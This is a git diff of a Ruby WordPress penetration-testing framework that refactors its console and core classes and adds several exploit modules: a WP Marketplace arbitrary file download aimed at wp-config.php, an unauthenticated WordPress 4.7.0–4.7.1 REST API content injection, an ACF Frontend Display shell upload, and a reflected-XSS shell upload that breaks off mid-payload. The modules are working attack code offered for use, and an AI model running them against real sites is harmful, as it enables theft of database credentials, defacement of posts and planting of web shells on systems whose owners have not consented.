diff --git a/README.md b/README.md index c8c2e8e..a59f451 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # wordpress-exploit-framework -[![Build Status](https://travis-ci.org/rastating/wordpress-exploit-framework.svg?branch=master)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://codeclimate.com/github/rastating/wordpress-exploit-framework/badges/gpa.svg)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://gemnasium.com/rastating/wordpress-exploit-framework.svg)](https://gemnasium.com/rastating/wordpress-exploit-framework) +[![Build Status](https://img.shields.io/travis/rastating/wordpress-exploit-framework/master.svg?colorB=007ec6)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://img.shields.io/gemnasium/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://gemnasium.com/rastating/wordpress-exploit-framework) [![GitHub release](https://img.shields.io/github/release/rastating/wordpress-exploit-framework.svg)](https://github.com/rastating/wordpress-exploit-framework/releases/latest) [![License](https://img.shields.io/badge/license-GPL%20v3-blue.svg)](https://github.com/rastating/wordpress-exploit-framework/blob/master/LICENSE) [![Trello](https://img.shields.io/badge/trello-wordpress--exploit--framework-blue.svg)](https://trello.com/b/XuChenHg) A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems. diff --git a/VERSION b/VERSION index 347f583..c239c60 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.4.1 +1.5 diff --git a/data/json/commands.json b/data/json/commands.json index 220b34d..5a7bdcd 100644 --- a/data/json/commands.json +++ b/data/json/commands.json @@ -12,6 +12,10 @@ "cmd": "clear", "desc": "Clear the screen." }, + { + "cmd": "exit", + "desc": "Exit the WordPress Exploit Framework prompt." + }, { "cmd": "gset [option] [value]", "desc": "Set the [value] of [option] globally, so it is used by the current and future modules." diff --git a/lib/cli/auto_complete.rb b/lib/cli/auto_complete.rb index 26c9e6f..663143c 100644 --- a/lib/cli/auto_complete.rb +++ b/lib/cli/auto_complete.rb @@ -28,19 +28,21 @@ def refresh_autocomplete_options if mod.exploit_module? opts_hash['payload'] = {} - Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p] = {} } + Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p[:name]] = {} } end end @autocomplete_list['set'] = opts_hash @autocomplete_list['unset'] = opts_hash + @autocomplete_list['gset'] = opts_hash + @autocomplete_list['gunset'] = opts_hash end def build_cmd_list cmds = {} permitted_commands.each { |c| cmds[c] = {} } - Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m] = {} } - Wpxf::Exploit.module_list.each { |m| cmds['use'][m] = {} } + Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m[:name]] = {} } + Wpxf::Exploit.module_list.each { |m| cmds['use'][m[:name]] = {} } cmds['show'] = { 'options' => {}, 'advanced' => {}, diff --git a/lib/cli/console.rb b/lib/cli/console.rb index d85bfca..8e7dc88 100644 --- a/lib/cli/console.rb +++ b/lib/cli/console.rb @@ -64,7 +64,10 @@ def prompt_for_input prompt += " [#{context.module_path}]" if context prompt += ' > ' - Readline.readline(prompt, true) + + input = Readline.readline(prompt, true).to_s + puts if input.empty? + input end def can_handle?(command) @@ -103,6 +106,7 @@ def on_event_emitted(event) end def execute_user_command(command, args) + command = 'quit' if command == 'exit' if can_handle? command puts unless commands_without_output.include? command send(command, *args) if correct_number_of_args?(command, args) diff --git a/lib/cli/context.rb b/lib/cli/context.rb index cd0d7e3..ea29d0c 100644 --- a/lib/cli/context.rb +++ b/lib/cli/context.rb @@ -1,9 +1,6 @@ module Cli # A context which modules will be used in. class Context - def initialize - end - def class_name(path_name) return path_name if path_name !~ /_/ && path_name =~ /[A-Z]+.*/ path_name.split('_').map(&:capitalize).join @@ -14,22 +11,7 @@ def verbose? end def load_module(path) - match = path.match(/(auxiliary|exploit)\/(.+)/i) - raise 'Invalid module path' unless match - - type = match.captures[0] - name = class_name(match.captures[1]) - - begin - if type.eql? 'auxiliary' - @module = Wpxf::Auxiliary.const_get(name).new - elsif type.eql? 'exploit' - @module = Wpxf::Exploit.const_get(name).new - end - rescue NameError - raise 'Invalid module name' - end - + @module = Wpxf.load_module(path) @module_path = path @module end @@ -45,19 +27,7 @@ def reload end def load_payload(name) - clsid = class_name(name) - - if Wpxf::Payloads.const_defined?(clsid) - payload_class = Wpxf::Payloads.const_get(clsid) - if payload_class.is_a?(Class) - self.module.payload = payload_class.new - else - fail "\"#{name}\" is not a valid payload" - end - else - fail "\"#{name}\" is not a valid payload" - end - + self.module.payload = Wpxf::Payloads.load_payload(name) self.module.payload.check(self.module) self.module.payload end diff --git a/lib/cli/module_info.rb b/lib/cli/module_info.rb index 1eddc09..30eb3bd 100644 --- a/lib/cli/module_info.rb +++ b/lib/cli/module_info.rb @@ -13,7 +13,11 @@ def print_author def print_description print_std('Description:') indent_cursor do - print_std(wrap_text(context.module.module_desc)) + if context.module.module_description_preformatted + print_std(indent_without_wrap(context.module.module_desc)) + else + print_std(wrap_text(context.module.module_desc)) + end end end diff --git a/lib/cli/modules.rb b/lib/cli/modules.rb index ae0047e..83512da 100644 --- a/lib/cli/modules.rb +++ b/lib/cli/modules.rb @@ -27,6 +27,7 @@ def use(module_path) mod = context.load_module(module_path) mod.event_emitter.subscribe(self) print_good "Loaded module: #{mod}" + mod.emit_usage_info @context_stack.push(context) rescue StandardError => e print_bad "Failed to load module: #{e}" @@ -40,15 +41,20 @@ def use(module_path) refresh_autocomplete_options end + def module_name_from_class(klass) + klass.new.module_name + end + def search_modules(args) pattern = /#{args.map { |m| Regexp.escape(m) }.join('|')}/i module_list = Wpxf::Auxiliary.module_list + Wpxf::Exploit.module_list results = [] - module_list.select { |m| m =~ pattern }.each do |path| - context = Context.new - context.load_module(path) - results.push(path: path, title: context.module.module_name) + module_list.select { |m| m[:name] =~ pattern }.each do |mod| + results.push( + path: mod[:name], + title: module_name_from_class(mod[:class]) + ) end results diff --git a/lib/cli/output.rb b/lib/cli/output.rb index 26645c3..02f297b 100644 --- a/lib/cli/output.rb +++ b/lib/cli/output.rb @@ -12,6 +12,10 @@ def wrap_text(s, padding = 0, width = 78) .gsub(/\s+$/, '') end + def indent_without_wrap(s) + s.gsub(/\n/, "\n#{@indent * @indent_level}") + end + def print_std(msg) puts "#{@indent * @indent_level}#{msg}" end diff --git a/lib/wpxf/core/module_info.rb b/lib/wpxf/core/module_info.rb index 703db5a..1e4acd2 100644 --- a/lib/wpxf/core/module_info.rb +++ b/lib/wpxf/core/module_info.rb @@ -17,7 +17,7 @@ def update_info(info) @info.merge!(info) @info[:date] = Date.parse(@info[:date].to_s) - @info[:desc] = @info[:desc].split.join(' ') + @info[:desc] = @info[:desc].gsub(/ +/, ' ') @info end @@ -45,5 +45,15 @@ def module_author def module_date @info[:date] end + + # @return [Boolean] true if the description is preformatted. + def module_description_preformatted + @info[:desc_preformatted] + end + + # Emits any information that the user should be aware of before using the module. + def emit_usage_info + nil + end end end diff --git a/lib/wpxf/core/payload.rb b/lib/wpxf/core/payload.rb index 6c8aeb5..6f40906 100644 --- a/lib/wpxf/core/payload.rb +++ b/lib/wpxf/core/payload.rb @@ -16,6 +16,8 @@ def initialize default: true ) ]) + + self.queued_commands = [] end # @return an encoded version of the payload. @@ -74,12 +76,14 @@ def post_exploit(mod) # Cleanup any allocated resource to the payload. def cleanup + nil end # Run checks to raise warnings to the user of any issues or noteworthy # points in regards to the payload being used with the current module. # @param mod [Module] the module using the payload. def check(mod) + nil end # @return [Hash] a hash of constants that should be injected at the @@ -104,9 +108,19 @@ def php_preamble preamble end + # Enqueue a command to be executed on the target system, if the + # payload supports queued commands. + # @param cmd [String] the command to execute when the payload is executed. + def enqueue_command(cmd) + queued_commands.push(cmd) + end + # @return the payload in its raw format. attr_accessor :raw + # @return [Array] the commands queued to be executed on the target. + attr_accessor :queued_commands + private def raw_payload_with_random_var_names diff --git a/lib/wpxf/utility/reference_inflater.rb b/lib/wpxf/utility/reference_inflater.rb index ac2d88c..ec69802 100644 --- a/lib/wpxf/utility/reference_inflater.rb +++ b/lib/wpxf/utility/reference_inflater.rb @@ -22,7 +22,7 @@ def format_strings { 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/%s', 'OSVDB' => 'http://www.osvdb.org/%s', - 'CVE' => 'http://www.cvedetails.com/cve/%s', + 'CVE' => 'http://www.cvedetails.com/cve/CVE-%s', 'EDB' => 'https://www.exploit-db.com/exploits/%s', 'URL' => '%s' } diff --git a/lib/wpxf/wordpress/file_download.rb b/lib/wpxf/wordpress/file_download.rb index 768fb5b..ac8f432 100644 --- a/lib/wpxf/wordpress/file_download.rb +++ b/lib/wpxf/wordpress/file_download.rb @@ -76,12 +76,19 @@ def validate_content(content) true end + # A task to run before the download starts. + # @return [Boolean] true if pre-download operations were successful. + def before_download + true + end + # Run the module. # @return [Boolean] true if successful. def run validate_implementation return false unless super + return false unless before_download res = request_file return false unless validate_result(res) && validate_content(res.body) diff --git a/lib/wpxf/wordpress/fingerprint.rb b/lib/wpxf/wordpress/fingerprint.rb index 894f0f0..1783419 100644 --- a/lib/wpxf/wordpress/fingerprint.rb +++ b/lib/wpxf/wordpress/fingerprint.rb @@ -79,7 +79,7 @@ def check_version_from_custom_file(url, regex, fixed = nil, introduced = nil) private - WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' + WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)' WORDPRESS_GENERATOR_VERSION_PATTERN = %r{}xi diff --git a/lib/wpxf/wordpress/shell_upload.rb b/lib/wpxf/wordpress/shell_upload.rb index 96bde5a..e0b925c 100644 --- a/lib/wpxf/wordpress/shell_upload.rb +++ b/lib/wpxf/wordpress/shell_upload.rb @@ -36,14 +36,17 @@ def payload_name # @return [String] the URL of the file used to upload the payload. def uploader_url + nil end # @return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form. def payload_body_builder + nil end # @return [String] the URL of the payload after it is uploaded to the target. def uploaded_payload_location + nil end # Called prior to preparing and uploading the payload. @@ -52,6 +55,21 @@ def before_upload true end + # @return [Integer] the response code to expect from a successful upload operation. + def expected_upload_response_code + 200 + end + + # @return [Hash] the query string parameters to use when submitting the upload request. + def upload_request_params + nil + end + + # @return [String] the extension type to use when generating the payload name. + def payload_name_extension + 'php' + end + # Run the module. # @return [Boolean] true if successful. def run @@ -59,7 +77,7 @@ def run return false unless before_upload emit_info 'Preparing payload...' - @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php" + @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.#{payload_name_extension}" builder = payload_body_builder return false unless builder @@ -67,6 +85,7 @@ def run return false unless upload_payload(builder) payload_url = uploaded_payload_location + return false unless payload_url emit_success "Uploaded the payload to #{payload_url}", true emit_info 'Executing the payload...' @@ -75,6 +94,11 @@ def run true end + # @return [Boolean] true if the result of the upload operation is valid. + def validate_upload_result + true + end + # Execute the payload at the specified address. # @param payload_url [String] the payload URL to access. def execute_payload(payload_url) @@ -90,7 +114,7 @@ def payload_name_length def upload_payload(builder) builder.create do |body| - @upload_result = execute_post_request(url: uploader_url, body: body, cookie: @session_cookie) + @upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie) end if @upload_result.nil? || @upload_result.timed_out? @@ -98,13 +122,13 @@ def upload_payload(builder) return false end - if @upload_result.code != 200 + if @upload_result.code != expected_upload_response_code emit_info "Response code: #{@upload_result.code}", true emit_info "Response body: #{@upload_result.body}", true emit_error 'Failed to upload payload' return false end - true + validate_upload_result end end diff --git a/lib/wpxf/wordpress/urls.rb b/lib/wpxf/wordpress/urls.rb index fb6913c..72f7f83 100644 --- a/lib/wpxf/wordpress/urls.rb +++ b/lib/wpxf/wordpress/urls.rb @@ -111,4 +111,9 @@ def wordpress_url_uploads def wordpress_url_admin_profile normalize_uri(wordpress_url_admin, 'profile.php') end + + # @return [String] the base path of the REST API introduced in WordPress 4.7.0. + def wordpress_url_rest_api + normalize_uri(full_uri, 'wp-json') + end end diff --git a/modules/auxiliary/wp_marketplace_v2.4_file_download.rb b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb new file mode 100644 index 0000000..bd0a880 --- /dev/null +++ b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb @@ -0,0 +1,139 @@ +class Wpxf::Auxiliary::WpMarketplaceV24FileDownload < Wpxf::Module + include Wpxf::WordPress::FileDownload + + def initialize + super + + update_info( + name: 'WP Marketplace <= 2.4.0 Arbitrary File Download', + desc: %( + This module exploits a vulnerability which allows registered users of any level + to download any arbitrary file accessible by the user the web server is running as. + ), + author: [ + 'Kacper Szurek', # Disclosure + 'Rob Carr ' # WPXF module + ], + references: [ + ['WPVDB', '7861'], + ['CVE', '2014-9013'], + ['CVE', '2014-9014'], + ['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html'] + ], + date: 'Mar 21 2015' + ) + + register_options([ + StringOption.new( + name: 'user_role', + desc: 'The role of the user account being used for authentication', + default: 'Subscriber', + required: true + ) + ]) + end + + def check + check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1') + end + + def requires_authentication + true + end + + def default_remote_file_path + '../../../wp-config.php' + end + + def working_directory + 'wp-content/plugins/wpmarketplace' + end + + def modify_plugin_permissions + res = execute_post_request( + url: full_uri, + body: { + 'action' => 'wpmp_pp_ajax_call', + 'execute' => 'wpmp_save_settings', + '_wpmp_settings[user_role][]' => datastore['user_role'].downcase + }, + cookie: session_cookie + ) + + unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i + emit_error 'Failed to modify the plugin permissions' + return false + end + + true + end + + def fetch_ajax_nonce + res = execute_post_request( + url: full_uri, + body: { + 'action' => 'wpmp_pp_ajax_call', + 'execute' => 'wpmp_front_add_product' + }, + cookie: session_cookie + ) + + return nil if !res || res.code != 200 + nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1] + + unless nonce + emit_error 'Failed to acquire a download nonce' + emit_error res.inspect, true + return false + end + + nonce + end + + def create_product + res = execute_post_request( + url: full_uri, + body: { + '__product_wpmp' => @nonce, + 'post_type' => 'wpmarketplace', + 'id' => @download_id, + 'wpmp_list[base_price]' => '0', + 'wpmp_list[file][]' => remote_file + }, + cookie: session_cookie + ) + + unless res && (res.code == 200 || res.code == 302) + emit_error 'Failed to create dummy product' + emit_error res.inspect, true + return false + end + + true + end + + def before_download + return false unless modify_plugin_permissions + emit_info 'Modified plugin permissions successfully', true + + @nonce = fetch_ajax_nonce + return false unless @nonce + + emit_info "Acquired nonce \"#{@nonce}\"", true + @download_id = "1#{Utility::Text.rand_numeric(5)}" + + create_product + end + + def download_request_method + :post + end + + def downloader_url + full_uri + end + + def download_request_params + { 'wpmpfile' => @download_id } + end +end diff --git a/modules/auxiliary/wp_v4.7.1_content_injection.rb b/modules/auxiliary/wp_v4.7.1_content_injection.rb new file mode 100644 index 0000000..615283a --- /dev/null +++ b/modules/auxiliary/wp_v4.7.1_content_injection.rb @@ -0,0 +1,105 @@ +class Wpxf::Auxiliary::WpV471ContentInjection < Wpxf::Module + include Wpxf + + def initialize + super + + update_info( + name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection', + desc: %( + The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number + of validation issues, which allow unauthenticated users to edit any post + on the target installation. + + If the target has the API enabled (enabled by default), this module will + update the post with the specified content, title and or excerpt. + ), + author: [ + 'Sucuri ', # Disclosure + 'Rob Carr ' # WPXF module + ], + references: [ + ['WPVDB', '8734'], + ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'] + ], + date: 'Feb 01 2017' + ) + + register_options([ + IntegerOption.new( + name: 'post_id', + desc: 'The ID of the post to update', + required: true + ), + StringOption.new( + name: 'content', + desc: 'The content to inject', + required: false + ), + StringOption.new( + name: 'title', + desc: 'The title to inject', + required: false + ), + StringOption.new( + name: 'excerpt', + desc: 'The excerpt to inject', + required: false + ) + ]) + end + + def check + version = wordpress_version + return :unknown if version.nil? + + if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1') + return :vulnerable if rest_api_is_available + end + + :safe + end + + def rest_api_is_available + res = execute_get_request(url: wordpress_url_rest_api) + (res && res.code == 200) + end + + def post_id + normalized_option_value('post_id') + end + + def post_route + normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id) + end + + def api_request_body + data = {} + data['content'] = datastore['content'] if datastore['content'] + data['title'] = datastore['title'] if datastore['title'] + data['excerpt'] = datastore['excerpt'] if datastore['excerpt'] + data + end + + def run + return false unless super + + emit_info 'Building request...' + data = api_request_body + emit_info "Request: #{data.inspect}", true + + emit_info 'Injecting content...' + execute_put_request( + url: post_route, + body: data.to_json, + params: { + 'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}" + }, + headers: { + 'Content-Type' => 'application/json' + } + ) + + true + end +end diff --git a/modules/auxiliary/wp47_user_info_disclosure.rb b/modules/auxiliary/wp_v4.7_user_info_disclosure.rb similarity index 100% rename from modules/auxiliary/wp47_user_info_disclosure.rb rename to modules/auxiliary/wp_v4.7_user_info_disclosure.rb diff --git a/modules/exploits/acf_frontend_display_shell_upload.rb b/modules/exploits/acf_frontend_display_shell_upload.rb new file mode 100644 index 0000000..50dd04b --- /dev/null +++ b/modules/exploits/acf_frontend_display_shell_upload.rb @@ -0,0 +1,39 @@ +class Wpxf::Exploit::AcfFrontendDisplayShellUpload < Wpxf::Module + include Wpxf::WordPress::ShellUpload + + def initialize + super + + update_info( + name: 'ACF Frontend Display <= 2.0.5 Unauthenticated Shell Upload', + author: [ + 'TCYB3R', # Discovery and disclosure + 'Rob Carr ' # WPXF module + ], + references: [ + ['WPVDB', '8086'], + ['EDB', '37514'] + ], + date: 'Jul 03 2015' + ) + end + + def check + check_plugin_version_from_readme('acf-frontend-display', '2.0.6') + end + + def uploader_url + normalize_uri(wordpress_url_plugins, 'acf-frontend-display', 'js', 'blueimp-jQuery-File-Upload-d45deb1', 'server', 'php', 'index.php') + end + + def payload_body_builder + builder = Utility::BodyBuilder.new + builder.add_field('action', 'upload') + builder.add_file_from_string('files', payload.encoded, payload_name) + builder + end + + def uploaded_payload_location + normalize_uri(wordpress_url_uploads, "uigen_#{Time.now.strftime('%Y')}", payload_name) + end +end diff --git a/modules/exploits/content_slide_reflected_xss_shell_upload.rb b/modules/exploits/content_slide_reflected_xss_shell_upload.rb new file mode 100644 index 0000000..cce2eb3 --- /dev/null +++ b/modules/exploits/content_slide_reflected_xss_shell_upload.rb @@ -0,0 +1,36 @@ +class Wpxf::Exploit::ContentSlideReflectedXssShellUpload < Wpxf::Module + include Wpxf::WordPress::StagedReflectedXss + + def initialize + super + + update_info( + name: 'Content Slide Reflected XSS Shell Upload', + author: [ + 'Tom Adams (dxw)', # Disclosure + 'Paul Williams 1, + 'wpcs_options[slide_image1]' => "\\\">